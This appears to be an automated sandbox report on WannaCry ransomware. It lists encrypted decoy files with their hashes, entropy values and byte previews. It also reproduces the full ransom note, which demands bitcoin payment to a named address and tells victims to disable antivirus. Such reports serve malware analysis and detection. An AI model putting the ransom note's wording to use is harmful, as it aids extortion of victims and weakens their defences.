                                    Preview:WANACRY!.....m]..X.Zt.u.-.yR..,.X..@...Q.t.......#........f..~..N;=.z&..Y..v.,.V.zw........G..7%.l....&..i....o..P}.......e.l../..y.....8.._^B.m...T2..|:.Ak...-...t8.9Ke.q-F..{}..J.)~.i...3r.i.k&....]p...>...#...na....4.@Q\...;....W....u1.]">q".f...c4^.1..=-..............a.......].kO..<.......w....$>...d.......y.$....8AjoY(.r2]....A....d...uZH...g.....\J1.s...Q.f.T.....$....b...C........-.}.....S..4....WB..L.k.:...k..c.-j......nz.ne..R.:..7,.`..7...U..QV$.[.&WI.xB.........R..}T.n".U.D...ly..;.Q6.$...x.Q.~.0sw.R^.z_..TTp..AI.t.aMU.....+o.?.2F.'.;..*:.Y=OAG.T...5:.......[..)..7..b.KNB..Gh/.vo..[..jqcR.4.. ..cll?q....&N...H.......,.....e........o...Px...o[......#.j..<...(H...5T4o_c#.1X.w.....;a%$G,\x..4;.....iU.KK.-,.f.......*`....!...d..>........bA?.".wpz..>..uM..U.J.9....2[..#..d.?..i6P..Z`.t.Up..&i...?..d..'....z7..i.X.rA........R2c..*.t.O.W.d...P.c.E....u:....1...^).b.."@lCL.?%...o.....~./......b..i%.@..'!.:..q...v..C).P.....,=..k..[P

                                    C:\Users\user\Desktop\LFOPODGVOH.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.777726731576134
                                    Encrypted:false
                                    SSDEEP:24:QnceBfd3WtO2X9wPeuXEdLzFApQIgTs6xXAYJqD/:Ic6dmtOI98UrAp1v6xpcD/
                                    MD5:8505113BC46D05EBC8BD2807F6E62F71
                                    SHA1:6545111BCA2528C785D8C819EC896E926C3918E5
                                    SHA-256:174C9BE7AFBBDFFA732713808D388D01F2179CB5AA122C19D5B58811151C4228
                                    SHA-512:E96D5AF066461265AA4FE05F6F9E08498D934E462E3A9604A24DB1041A15B3461AD9E1D076AA600DA904B631B415508985781693906FE4F3D2404917859FD8E2
                                    Malicious:false
                                    Preview:s2A.]....Z.5....{8`..Q...$v..$#.[..V....... ....q.hP.c...!Q=.[....YLc=..+....A....5..).I<..J.f;.(*1.K.=.,..+........-C.....@<.nO.=HgN....4..M..4..Z...+.^.h..&0....5....R.i.3.@.3.e...?..O.mO.N.1.-sR....,...j<.....(.....N..'.>&.52.wx.8..O1Zqx........m.>c}5.2e1.=.-%..8.-.s.q..>T.i..A0..n..I.7...#K.....5..=.[(.`.RR.X...|.u..X..s..I.....,.X.!j........Lp......*)`.....9..I..J...YD...,..*?H..E^>3.7#.E.1.......D.j..gX.K..{..|...x.0+...m..j!...hAK...\...#..UD..?.X..,..-....ly.3&#6.=Eq...vY........3...m.... ..,".VZr.B\j..W.1...|P....+..-.5....B....}.b....e.0.....jD..k.O9z.%.P..35~....50:D6.o......s..[...B.FF.C...$.5b..E.'..N.B...3+{....5d...x.1.....#~.?.K.j....n...E.....<......+_z.XO...ig..W.....=..~,..C..0g.y|`...?.}.e....!..Q....R..)...P......f}.d{...[........L9z....Lj.}?....(......l.4/9_...0....1.2.....\*N.4....z.7.....+.H.3.].....P.._=O.#..H+....LDEc......a....)..x...|S8..,I.2:...w.".S.....<."V^.y....E...E.~"...~.d...5..p.....M.Q..EC..)

                                    C:\Users\user\Desktop\LFOPODGVOH.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.857231349161206
                                    Encrypted:false
                                    SSDEEP:24:bkYk94RSV/bqbk1a/A/2sPn2sWPJ1Z5MhIbnubk8QleOOA32z+JDHWSkEzt:bkN9Pze/AbePJn2hIbnunQl4A3Q+Y05
                                    MD5:2D72FFB1BA873E6B6EBC5A626F323B99
                                    SHA1:C6FB3CF2C732864B5082345FFE273EDABFA34078
                                    SHA-256:A3350249C5284E94561FB6C9645954D36D22F371098DC23CDAA2C510727B6E47
                                    SHA-512:C6A3A09C7EBCD563CB6412AECFD41A38CAFB16BA515E7AD6CCF2A47FC37EF31FC7F4579D253EBD07DF0A06D8BEF4D56A8628FD0F6EA434F708D9096068352FBC
                                    Malicious:false
                                    Preview:WANACRY!.....8..k....LDD...cH....Ba7ps..g>..}.V.=.'6.d."%.....g$>R.\aF.D.8u@.....h.Y...U..r.n....R.<i.......1W..4-.m...L.......w.o.P(..:W?..~.*&...=R..G.Y..?A.&g..?..L.......;.Gf.bi/\..o......0Ia...m.....P...=d..e.^.5.,.....:%.$.<..Cq..J.|..qa....:...................!^S.~r4....&....fe..h[..@..W..`r..8..;j.<0.j....4.Un.[.\e.f.n..J@....GZ...Te1..."T.p.%...G.i....d..+YP..d.Ne.h.......k_.*....Q....{.I........<.E..........\)e...l.......k.g....G^t..X.}.L...T..F.az.d.X...Z..re..8...........j..O...^.]`....>.....P.[....h".5<....H..j..,..y.g...K.H..(...d.Q..O.T<8...- ..'..]yx..6......V..h.....l.v*..ld...4....X.m...D.......Y..7....Y...[2..W.3....z...=9r.......`....p..pJ_..E..+.w.I...G....p.n......~....`. ...3..^......52t7.Q....9..i....#,.*.1.H.8....)..j...az...g..I.D......[j..4.V...b...7.1.bk......>1l._..E.j..j^..v.....+..{...w.....Fk.......B.9L(.'`.>..'v:...9D.fk,p:0.2.X\...8....1....1...cB;..0.jx.P5....b........{.9...q....

                                    C:\Users\user\Desktop\LFOPODGVOH.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.857231349161206
                                    Encrypted:false
                                    SSDEEP:24:bkYk94RSV/bqbk1a/A/2sPn2sWPJ1Z5MhIbnubk8QleOOA32z+JDHWSkEzt:bkN9Pze/AbePJn2hIbnunQl4A3Q+Y05
                                    MD5:2D72FFB1BA873E6B6EBC5A626F323B99
                                    SHA1:C6FB3CF2C732864B5082345FFE273EDABFA34078
                                    SHA-256:A3350249C5284E94561FB6C9645954D36D22F371098DC23CDAA2C510727B6E47
                                    SHA-512:C6A3A09C7EBCD563CB6412AECFD41A38CAFB16BA515E7AD6CCF2A47FC37EF31FC7F4579D253EBD07DF0A06D8BEF4D56A8628FD0F6EA434F708D9096068352FBC
                                    Malicious:false
                                    Preview:WANACRY!.....8..k....LDD...cH....Ba7ps..g>..}.V.=.'6.d."%.....g$>R.\aF.D.8u@.....h.Y...U..r.n....R.<i.......1W..4-.m...L.......w.o.P(..:W?..~.*&...=R..G.Y..?A.&g..?..L.......;.Gf.bi/\..o......0Ia...m.....P...=d..e.^.5.,.....:%.$.<..Cq..J.|..qa....:...................!^S.~r4....&....fe..h[..@..W..`r..8..;j.<0.j....4.Un.[.\e.f.n..J@....GZ...Te1..."T.p.%...G.i....d..+YP..d.Ne.h.......k_.*....Q....{.I........<.E..........\)e...l.......k.g....G^t..X.}.L...T..F.az.d.X...Z..re..8...........j..O...^.]`....>.....P.[....h".5<....H..j..,..y.g...K.H..(...d.Q..O.T<8...- ..'..]yx..6......V..h.....l.v*..ld...4....X.m...D.......Y..7....Y...[2..W.3....z...=9r.......`....p..pJ_..E..+.w.I...G....p.n......~....`. ...3..^......52t7.Q....9..i....#,.*.1.H.8....)..j...az...g..I.D......[j..4.V...b...7.1.bk......>1l._..E.j..j^..v.....+..{...w.....Fk.......B.9L(.'`.>..'v:...9D.fk,p:0.2.X\...8....1....1...cB;..0.jx.P5....b........{.9...q....

                                    C:\Users\user\Desktop\LFOPODGVOH.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.82609161328591
                                    Encrypted:false
                                    SSDEEP:24:C2FTKP76rafPmezA/yOMPxXrvcdk8VRa9L0u7Km3RXxc1nlwJlZgch:C2FTLiuPcJQ68V6Ya3RX0wJjgch
                                    MD5:85F988762AA1E86E2B7CF90D11783647
                                    SHA1:31346750A91677301A33237A3F3DB78176588063
                                    SHA-256:CB5129F2C5563D48A0E70018B6C3028F337ACA2D9D63FAB00170F1277FB822DB
                                    SHA-512:21EE6F1C2FE69AAFC6163EB19C35C51A1639C34EDD157F54A606866DFEA25EEFAA8D7D0DB455C21BEB86E2D81E36003A186411C10A8D6E53189620A3A44DCD13
                                    Malicious:false
                                    Preview:.1K,X......C.p.K......f.Z.r. .n..c.Y..a.u...M..sH ..<......^..j....|.....w..Ob..8..u......`.8.7...dw.t..."..cP.y......r..i.}S....u...g6.Y..63V.W:...R.1?...~..H.HMy.p.h...p\.:aV..o.Q..."..i_.."..<.c.m.?u&7Mz.^...X..$...8.T...E...>;P._..+y..;~.e.\(.V._5=....R.4L....AI......6<z.Df... m..=_..bPL+.:A..0<.*..q.../..R.6..J2.4^Ay..5..t.(6.a..'QM.L..gq5...-V.&..lY.=y.W...doO..~...b0.FAG.....A`y..,.W.N.E.....InY....].U../...............uU.._bU..XZ.K...1...9z./K.eM....'@..s.f.AnjW...C.....$yCk.=./..m.......,u..S...@..9e../a...kQ.v....F...".....;/*+L{&...oH.....+..i..R..b.,>.f..........M..BN........m.1Yx>h.....[......60..%....*...^ J........4..#.z?...o...jB..z2.......k0..9....3...Q.}?...xM..u..?.$..ml..`D..6.g..M./f..Q.2.=...VZ....i.....S0LyI.tZ.n.%u...gSn...\......X..H.;.\..9``~9..pn../c.U>A-~..:..%.5.0(.gF..QS.u.............Q..<...p.B.)-....!.......K.2...X8...S+..:h.E0.#.B..'b..\.C....X.g.L.E...b...P...N...,d..6.b.=.....&~.w.Zih..G...POF`.5

                                    C:\Users\user\Desktop\LFOPODGVOH.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.840473290837018
                                    Encrypted:false
                                    SSDEEP:24:bkQRdK0fU/KFgwKnTegXvyK/w1FiBNTH1FRy4rn44rv9PT4NFl8HMTQVUT:bkQRZfU/KyTeuyKYncNx7y/w+8HMTGUT
                                    MD5:AE19CEB060AFDABF95C479643CAE4BFF
                                    SHA1:21E23553C1541767C7F7C1B6E32A898260FD2A72
                                    SHA-256:FC03CF2C3F7A3340BB0FC292879BD1B28568AEE7400BA1F447636A4A28620905
                                    SHA-512:AC300965DAB27F564971A17890A14DDE9793625D4E3597B235A5B56005AF3FCECA99F412D335F2326AA560DE63F81F64DC9716DE95CB28E609D0FE3FFB85D28F
                                    Malicious:false
                                    Preview:WANACRY!........!n2-..b..n.$.1.U...Yj,. ..O...kwqzk..9?."..n.XtHDA...J...v.q=fn8...MX.Uy...3.-..(..>.q.6@....|........H1..F.....i.n.\Y.#......]..&...?G.A;7.H.ur..'}.....d....t...Q.4..|yw......... X.l.i.....i/..4......05.CUu....$6H.w...%.......q...I1!V. .{r...............M.t...x.g..E....V....Ru..N ....8...%.B.3.Y (.....z...(...&fq~q.ngh.s.C.>..^j.*...`..miCu..V.....~...Sg..MB$..]...Cm..W..p.'..ZV.i../_=..c...f.)W..i...+.....zyf..nG.!Y.6[*....T.....@.93.06.Z/.I... ....*H..j.g....hM5.\K@.....\p. gw}..Es.v\.9.....X...Ly..|6....`..l.Vh3.M........b.>c4.....f*a......AI......k&...X(4Q.....t.=$.H...SH...',8C...;..~...4......*.IX].+.._.S.'......(|..^../3.uA.......iA.d.25lF.......Dg..v..(...O..T.... Y....2~p..dsCE....Vq...v..<.|!...=....v.x.'..sbg...RM.*......fX%..uE.P....|..C..!+....G.....R.... ..])[.......}v&....7.R5&s.f.v...R...c..I.h.....U%....H.t'...."....I.!...u%v...2,....tx2dy...p7&.......i7&..5$......VY.Z...rF..y.Lv.p.......^[.dZ2E.!....:&#..

                                    C:\Users\user\Desktop\LFOPODGVOH.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.840473290837018
                                    Encrypted:false
                                    SSDEEP:24:bkQRdK0fU/KFgwKnTegXvyK/w1FiBNTH1FRy4rn44rv9PT4NFl8HMTQVUT:bkQRZfU/KyTeuyKYncNx7y/w+8HMTGUT
                                    MD5:AE19CEB060AFDABF95C479643CAE4BFF
                                    SHA1:21E23553C1541767C7F7C1B6E32A898260FD2A72
                                    SHA-256:FC03CF2C3F7A3340BB0FC292879BD1B28568AEE7400BA1F447636A4A28620905
                                    SHA-512:AC300965DAB27F564971A17890A14DDE9793625D4E3597B235A5B56005AF3FCECA99F412D335F2326AA560DE63F81F64DC9716DE95CB28E609D0FE3FFB85D28F
                                    Malicious:false
                                    Preview:WANACRY!........!n2-..b..n.$.1.U...Yj,. ..O...kwqzk..9?."..n.XtHDA...J...v.q=fn8...MX.Uy...3.-..(..>.q.6@....|........H1..F.....i.n.\Y.#......]..&...?G.A;7.H.ur..'}.....d....t...Q.4..|yw......... X.l.i.....i/..4......05.CUu....$6H.w...%.......q...I1!V. .{r...............M.t...x.g..E....V....Ru..N ....8...%.B.3.Y (.....z...(...&fq~q.ngh.s.C.>..^j.*...`..miCu..V.....~...Sg..MB$..]...Cm..W..p.'..ZV.i../_=..c...f.)W..i...+.....zyf..nG.!Y.6[*....T.....@.93.06.Z/.I... ....*H..j.g....hM5.\K@.....\p. gw}..Es.v\.9.....X...Ly..|6....`..l.Vh3.M........b.>c4.....f*a......AI......k&...X(4Q.....t.=$.H...SH...',8C...;..~...4......*.IX].+.._.S.'......(|..^../3.uA.......iA.d.25lF.......Dg..v..(...O..T.... Y....2~p..dsCE....Vq...v..<.|!...=....v.x.'..sbg...RM.*......fX%..uE.P....|..C..!+....G.....R.... ..])[.......}v&....7.R5&s.f.v...R...c..I.h.....U%....H.t'...."....I.!...u%v...2,....tx2dy...p7&.......i7&..5$......VY.Z...rF..y.Lv.p.......^[.dZ2E.!....:&#..

                                    C:\Users\user\Desktop\LFOPODGVOH\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Desktop\LFOPODGVOH\AQRFEVRTGL.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.790504758492682
                                    Encrypted:false
                                    SSDEEP:24:/urFU28kxqrGLkqClyh1sTNjVbOdjtQS+avwWD9NeeMYqx:/0LdWl3hU5QS+a72
                                    MD5:A977964158CA9AF0477FCF3C9B038746
                                    SHA1:D354C67916D894FA2CDF72CFD236413B3A6E99EE
                                    SHA-256:ED532ADB489B6DF39B69CD7DBD536FC4B6D493288CFAC885EB250633F099687E
                                    SHA-512:0D3C6FE256207AFC3063158B3BBA3C84878E66AD8A07EA441A160B1F54E78E469BDB903BAEAE369378007A4F75445656FF2B833B47B19FD185721ABC77CB5027
                                    Malicious:false
                                    Preview:.~,..."....sUq.N.. 5....U.......u..j..T..l$..&.H.b,.`;....s.[....m.D....G..)....t..a#{.....hb.......{FO...t~..q...>.M........w..X..A...............u.~G..v.%^.._.n..0......5.....h`.^v.%.6.`......Q.:../(.#9hh...,.h..[A2N..%.h.;n.........zo..J:.?.d..S.........05X...l.Ti5sa..!/r.3...`...g.-;^X*W....`[..8._..n5+..~n..0..k.*OX+.......'.<.b.)..L.......$./.Xr...m....Bk.U..........h..R..1p...OZ......z..$.To..P.p.........:.A...ve.].D#..8.,..0....yFA+.F).......x7..\.(..X."..VV.,...[...2rI.M}...wR../6...p.D.x<.ly....yuN...#.^.n.A!-d...RZ}..{&wc*..:..%.......0"zR7.8.,.z'....gt.%.D...U...K...#<...`.....9}.?.i......E`..!k.X`.%z!...t...g...4...P.z..X;.:gy..7...w6..f.. .h......T?......0.r.:..6.!O..G...k..z..4......&i.Y.e;`G...t.{`.....c...&.....Y..bi.V.......J."....s............a....[>....m.+..*.......U/Z..M....NIv...Y..:..R)t.X5...Z......%{3E..'..{..N._5..?n......a......AM...v..mp.. .6~...,.xQ.),Y.../....9.....\.%ML..f.FfK.7d..z....b...@.........?.

                                    C:\Users\user\Desktop\LFOPODGVOH\AQRFEVRTGL.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842607258045377
                                    Encrypted:false
                                    SSDEEP:24:bkXRXZoSW4ecdW9LbXzQNGWu18ByUTIBmeIYgJXryMweJyjB2tzB0/9n:bkBXSVM0HXzWzPvTIBX0uMweJyjBgw9n
                                    MD5:E0DC10D54516BE7FA91870F7BEB6E1C8
                                    SHA1:E4E656FD3940BBE373530F489CFD9919089EB938
                                    SHA-256:4259F9AD7F24BD0EAA3F042E9DE3D1C03452729C67ADCFEAAB72E8A176D5EDC1
                                    SHA-512:20E16250C0C186C8F02974BECCBCAE8926DC86CFEC18B26287DA193C256F2099AFCF5168E53D0863F1B7D2C7BB320863DCF42976458CA77F78718673E9F53C5A
                                    Malicious:false
                                    Preview:WANACRY!.....5.o..'>.;.u[;e..U..3.=D=R..e....xf9q}.G.........r...ME...%.PT...+.).,TJ.PD..o.0.!)..:.^N.........$n7pz........y..|..g..=..}...t.8z...M.4..gL..8%....-|b-`^......u.....s2.&f..5....@..Pf#....O.Y...cQ.......Dw...L.`.....7.jD.H....q.L.k&.`.U.%8...............}I..T#.. .&k..u@..,..&...9..E...rho0n.v.....c.-..P.k>..z..O.M..T...>.5....v^..`fKT93...8...f.z......X......G..{.O.......P.#..+.~*...0?.*...sE....Bm.CN.7..........~...W...R...][.F^.....t.Zv......!..=.&56..I.P....j.N..E..w0....>._.....g.v;K..,.Z.H....._.9yd..L.x...*^...3[.V......7yE.,O...lGi.....(..J...x<../....W.....u._.S....\..>...@...gJ. 0).>1.fb...I;0.PH.....4....n.xci..<....Ybrz.n'.?.puU.x.c...."..u. ...R...8......C..{.....j.kB..;..!...#d.....].q.mf~yL^<..w.K....!.%...{.[y.._`8Z......s:..1..,.0......F...;8.z..$Y.....{.S.....e...1..>T.....4eQo..8(.>#../\KJ#.W....fr.....|.OSH$IZu.....?Eq .....A^..,L...._..........V.@x....\...`4l:.N..>.....'.|t."n...?...o}.-<.b.j.z#...

                                    C:\Users\user\Desktop\LFOPODGVOH\AQRFEVRTGL.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842607258045377
                                    Encrypted:false
                                    SSDEEP:24:bkXRXZoSW4ecdW9LbXzQNGWu18ByUTIBmeIYgJXryMweJyjB2tzB0/9n:bkBXSVM0HXzWzPvTIBX0uMweJyjBgw9n
                                    MD5:E0DC10D54516BE7FA91870F7BEB6E1C8
                                    SHA1:E4E656FD3940BBE373530F489CFD9919089EB938
                                    SHA-256:4259F9AD7F24BD0EAA3F042E9DE3D1C03452729C67ADCFEAAB72E8A176D5EDC1
                                    SHA-512:20E16250C0C186C8F02974BECCBCAE8926DC86CFEC18B26287DA193C256F2099AFCF5168E53D0863F1B7D2C7BB320863DCF42976458CA77F78718673E9F53C5A
                                    Malicious:false
                                    Preview:WANACRY!.....5.o..'>.;.u[;e..U..3.=D=R..e....xf9q}.G.........r...ME...%.PT...+.).,TJ.PD..o.0.!)..:.^N.........$n7pz........y..|..g..=..}...t.8z...M.4..gL..8%....-|b-`^......u.....s2.&f..5....@..Pf#....O.Y...cQ.......Dw...L.`.....7.jD.H....q.L.k&.`.U.%8...............}I..T#.. .&k..u@..,..&...9..E...rho0n.v.....c.-..P.k>..z..O.M..T...>.5....v^..`fKT93...8...f.z......X......G..{.O.......P.#..+.~*...0?.*...sE....Bm.CN.7..........~...W...R...][.F^.....t.Zv......!..=.&56..I.P....j.N..E..w0....>._.....g.v;K..,.Z.H....._.9yd..L.x...*^...3[.V......7yE.,O...lGi.....(..J...x<../....W.....u._.S....\..>...@...gJ. 0).>1.fb...I;0.PH.....4....n.xci..<....Ybrz.n'.?.puU.x.c...."..u. ...R...8......C..{.....j.kB..;..!...#d.....].q.mf~yL^<..w.K....!.%...{.[y.._`8Z......s:..1..,.0......F...;8.z..$Y.....{.S.....e...1..>T.....4eQo..8(.>#../\KJ#.W....fr.....|.OSH$IZu.....?Eq .....A^..,L...._..........V.@x....\...`4l:.N..>.....'.|t."n...?...o}.-<.b.j.z#...

                                    C:\Users\user\Desktop\LFOPODGVOH\BXAJUJAOEO.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8038378295149
                                    Encrypted:false
                                    SSDEEP:24:LxBZkY4SkIqfFhPlmjJXEzN62sSQSUZKDg:LxBZTVkIqfF7mjJXEp6nSW0Dg
                                    MD5:73693AA32C42F00093D3C14D64E85493
                                    SHA1:4BF159B61544FD45163FCE0CB0390D02884CAAB1
                                    SHA-256:01BC9421CD7456E83248555340ABF19DDF384980AE1AA4C18642D0F5ABF2DF79
                                    SHA-512:702B465B68D3F50D342211B0BABC667DA1B3D3BCA536553391C86800BF81A1588A3D79A1789125B598382CAC236AEE1E776D6601E3D1DA157B3663AA7D7F2A4F
                                    Malicious:false
                                    Preview:..%.....u.yY.O.Kz{.s..\;q...$S.s8E.|........aiG.....Q..u..u...Ju'.&..J.....P.y.>...9.7.<7."....|....3..??S:.....iZ?..|.......u*SoyZ ..!...L.....r..`...Wr....."g.b.U=.C..]K{.....'...........f.}qiv.4.J~Q..XL.q...)..a.4e.X..1{..f.H.t.<..h...%.....T.=.Oj..<C..:.....5.K.*......1..|.P.x?.=...6.b.W'b..z.c.{.4nQd..(aQ<.=h<../q-...l.F...G...(L.\..a]\....-jj.A.U&.+r.(...Mb_r.4.I3,......X*.....?O....0.y....B....res.{..3..u...>..o..0..X.vC...J..I*i#.X..g.....,N..u...K..1.c.z.~G....c..Of..*}.@:.....AUy....h..i.R..|...x.b..b.O...j2.....o&.J.*......"U@.&^.`9.).n....9.I.3.}Xa6....).F.8..%Dd..z.3.........|..L9.....F...J..:~..4.D;{....h.D.Z..5'..f.wO..F..:L"I.#.E#}#.......y..|.;T<.j..pM....3.%..}.}R]..,aO.9.h.(........z/?.C.5....8N._N.W"...Ab......%n.....D..w....:".*......39.n.5..{..m.....a....+.~e.[j$t.T.H....NK...-.^..+ImU|....3...q......R.m. .0.|.}6.9.YTK.h[.....I..Xk.F..!7r..Jx\.P....S8e....A...n.yn....,qi....|y...e ."@r.uU.#.R.yP.2.N/...P.:.^5 .

                                    C:\Users\user\Desktop\LFOPODGVOH\BXAJUJAOEO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.81754307435524
                                    Encrypted:false
                                    SSDEEP:24:bkVGcWLK/cL/iUUri5UpAdNvtdv0v690kEotZt2P4WIqG1YRWcT9z5ggWsWdyY+J:bkrWW/0/vUriGidxsvM0NYo4IgmPggWG
                                    MD5:7E806422FF8B5CF9C4EA280F5A737D65
                                    SHA1:EA7B28170AE87735B2ECF043F52894C7EF6AC9C1
                                    SHA-256:A32E3DD68FEEEF658FF737D51B0680EBFC8173AEB5315115334B06CE0359DC72
                                    SHA-512:92C7B954458B6945A86EBA2BB99C61D79E41C6076537AE5A3991329A1670B2F17E6DBAA91C0585DEDD5AA7623CB78ED3707488F707524F3896E2FF7E27960416
                                    Malicious:false
                                    Preview:WANACRY!......A&.........?Y.Q<..W...P.EO..k#.....+.S...4..%.tk.. ..p.g.G...wo8`2r41....3..Z.OS=.9...X.UZ.@.W.Fw.......]f....3..a.U.=C.5.6.IeS.z...1vMC..1.dI..|....Z..0./.8...H......n..Ca.46..{..$%.uF.....5..\..["E:.0.K.z...q......:{......F..`..sQ&H..D.....Q.............3..$...&...L..B/].>.x....I..IW.S}.Y.y.......h.ho+."s%...@...I.#..h.....c.GD.R....G.f...{....}5>s..34`...x7.......f..../.\!...&(..T>.H.C.2V0h..I.e.BN.....D.X....:............-E...4....Tjh$....../B.....\F.C`+K3....O...].....d...p....WJ...|La,....a........H&.".!].'6..Q..P.@.n..3.k3......%.\....~....yF..cm..v.I.$.UV.z.G....,...~.u_....X..@.I...{P.K.U@..h;7#....#.sr....j....M.~$.`.....u,......T...../...&... ....:C^5|..}W&.....O......o.....c.`....ene..C.?p..6...?..T.+.L......T~GS......o.?>....Ny..C<.ps/.=.Y.H.."...._G....Am->..).v...g.[x...-..._F...ZD.~...3...q..4a....<e......M..p..cA.....c.s.~:.0fVI..M.E.....#.J...H....m..V...y$Q...!.x:......]......G`...AD(..;T<6#..w.m....U.1....>.

                                    C:\Users\user\Desktop\LFOPODGVOH\BXAJUJAOEO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.81754307435524
                                    Encrypted:false
                                    SSDEEP:24:bkVGcWLK/cL/iUUri5UpAdNvtdv0v690kEotZt2P4WIqG1YRWcT9z5ggWsWdyY+J:bkrWW/0/vUriGidxsvM0NYo4IgmPggWG
                                    MD5:7E806422FF8B5CF9C4EA280F5A737D65
                                    SHA1:EA7B28170AE87735B2ECF043F52894C7EF6AC9C1
                                    SHA-256:A32E3DD68FEEEF658FF737D51B0680EBFC8173AEB5315115334B06CE0359DC72
                                    SHA-512:92C7B954458B6945A86EBA2BB99C61D79E41C6076537AE5A3991329A1670B2F17E6DBAA91C0585DEDD5AA7623CB78ED3707488F707524F3896E2FF7E27960416
                                    Malicious:false
                                    Preview:WANACRY!......A&.........?Y.Q<..W...P.EO..k#.....+.S...4..%.tk.. ..p.g.G...wo8`2r41....3..Z.OS=.9...X.UZ.@.W.Fw.......]f....3..a.U.=C.5.6.IeS.z...1vMC..1.dI..|....Z..0./.8...H......n..Ca.46..{..$%.uF.....5..\..["E:.0.K.z...q......:{......F..`..sQ&H..D.....Q.............3..$...&...L..B/].>.x....I..IW.S}.Y.y.......h.ho+."s%...@...I.#..h.....c.GD.R....G.f...{....}5>s..34`...x7.......f..../.\!...&(..T>.H.C.2V0h..I.e.BN.....D.X....:............-E...4....Tjh$....../B.....\F.C`+K3....O...].....d...p....WJ...|La,....a........H&.".!].'6..Q..P.@.n..3.k3......%.\....~....yF..cm..v.I.$.UV.z.G....,...~.u_....X..@.I...{P.K.U@..h;7#....#.sr....j....M.~$.`.....u,......T...../...&... ....:C^5|..}W&.....O......o.....c.`....ene..C.?p..6...?..T.+.L......T~GS......o.?>....Ny..C<.ps/.=.Y.H.."...._G....Am->..).v...g.[x...-..._F...ZD.~...3...q..4a....<e......M..p..cA.....c.s.~:.0fVI..M.E.....#.J...H....m..V...y$Q...!.x:......]......G`...AD(..;T<6#..w.m....U.1....>.

                                    C:\Users\user\Desktop\LFOPODGVOH\IZMFBFKMEB.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
